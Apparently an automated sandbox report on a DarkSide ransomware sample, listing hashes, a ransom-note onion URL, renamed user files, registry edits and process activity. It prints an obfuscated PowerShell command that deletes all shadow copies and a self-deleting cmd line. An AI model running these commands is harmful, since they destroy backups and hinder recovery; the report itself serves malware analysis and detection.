Analysis
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max time kernel
69s -
max time network
125s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
17-05-2021 12:21
Static task
static1
Behavioral task
behavioral1
Sample
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Resource
win10v20210410
General
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Target
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
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Size
59KB
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MD5
6a7fdab1c7f6c5a5482749be5c4bf1a4
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SHA1
4e6d303d96621769b491777209c237b4061e3285
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SHA256
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb
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SHA512
39446ebfae1dd0e007e81087f42021b95ee5a0a04e22ca7f4f5addbea4e71c7fe09ffd3bf953400955ce6d31b535c81a37b018aba73c30e61575b2c49414d6cd
Malware Config
Extracted
C:\\README.7b336f65.TXT
darkside
http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 22 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exedescription ioc process File renamed C:\Users\Admin\Pictures\SyncAdd.tiff => C:\Users\Admin\Pictures\SyncAdd.tiff.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\SyncAdd.tiff.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File renamed C:\Users\Admin\Pictures\WatchInvoke.raw => C:\Users\Admin\Pictures\WatchInvoke.raw.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File renamed C:\Users\Admin\Pictures\InitializeStep.raw => C:\Users\Admin\Pictures\InitializeStep.raw.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File renamed C:\Users\Admin\Pictures\SubmitInitialize.png => C:\Users\Admin\Pictures\SubmitInitialize.png.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\SubmitInitialize.png.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\SuspendApprove.tif.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\WatchInvoke.raw.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File renamed C:\Users\Admin\Pictures\InstallDisconnect.crw => C:\Users\Admin\Pictures\InstallDisconnect.crw.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\InvokeSubmit.tiff.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\MoveDisable.raw.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File renamed C:\Users\Admin\Pictures\RestoreNew.tif => C:\Users\Admin\Pictures\RestoreNew.tif.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\InitializeStep.raw.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\ResetInitialize.png.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\SyncAdd.tiff 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File renamed C:\Users\Admin\Pictures\ResetInitialize.png => C:\Users\Admin\Pictures\ResetInitialize.png.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\RestoreNew.tif.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File renamed C:\Users\Admin\Pictures\SuspendApprove.tif => C:\Users\Admin\Pictures\SuspendApprove.tif.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\InstallDisconnect.crw.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File opened for modification C:\Users\Admin\Pictures\InvokeSubmit.tiff 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File renamed C:\Users\Admin\Pictures\InvokeSubmit.tiff => C:\Users\Admin\Pictures\InvokeSubmit.tiff.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe File renamed C:\Users\Admin\Pictures\MoveDisable.raw => C:\Users\Admin\Pictures\MoveDisable.raw.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP" 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP" 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies Control Panel 1 IoCs
Processes:
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10" 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe -
Modifies registry class 5 IoCs
Processes:
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico" 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65" 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exe1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exepid process 2104 powershell.exe 2104 powershell.exe 2104 powershell.exe 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeSecurityPrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeTakeOwnershipPrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeLoadDriverPrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeSystemProfilePrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeSystemtimePrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeProfSingleProcessPrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeIncBasePriorityPrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeCreatePagefilePrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeBackupPrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeRestorePrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeShutdownPrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeDebugPrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeSystemEnvironmentPrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeRemoteShutdownPrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeUndockPrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeManageVolumePrivilege 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: 33 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: 34 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: 35 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: 36 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeBackupPrivilege 2668 vssvc.exe Token: SeRestorePrivilege 2668 vssvc.exe Token: SeAuditPrivilege 2668 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exedescription pid process target process PID 3984 wrote to memory of 2104 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe powershell.exe PID 3984 wrote to memory of 2104 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe powershell.exe PID 3984 wrote to memory of 4700 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe cmd.exe PID 3984 wrote to memory of 4700 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe cmd.exe PID 3984 wrote to memory of 4700 3984 1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe"C:\Users\Admin\AppData\Local\Temp\1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\1CC7C1~1.EXE >> NUL2⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
32937604dd0791bffd969385d5817eaf
SHA132692f2d388e497edea6b17ef6471afcd7a9e1a8
SHA256292ee5fee35eadf7a2fa9ed81e3e34540a7d58c733e0063af5106749f67c76cd
SHA512948e1c29929d526157f3a71d345ddec16d94b6245924198a184f866d61f9af93d314903ad1cdca5277a060118e52eee630c99f8a8f501f2c03699ecea780214f
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memory/2104-114-0x0000000000000000-mapping.dmp
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memory/2104-119-0x00000250A8A70000-0x00000250A8A71000-memory.dmpFilesize
4KB
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memory/2104-123-0x00000250A96D0000-0x00000250A96D1000-memory.dmpFilesize
4KB
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memory/2104-126-0x00000250A8AA0000-0x00000250A8AA2000-memory.dmpFilesize
8KB
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memory/2104-128-0x00000250A8AA3000-0x00000250A8AA5000-memory.dmpFilesize
8KB
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memory/2104-130-0x00000250A8AA6000-0x00000250A8AA8000-memory.dmpFilesize
8KB
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memory/4700-142-0x0000000000000000-mapping.dmp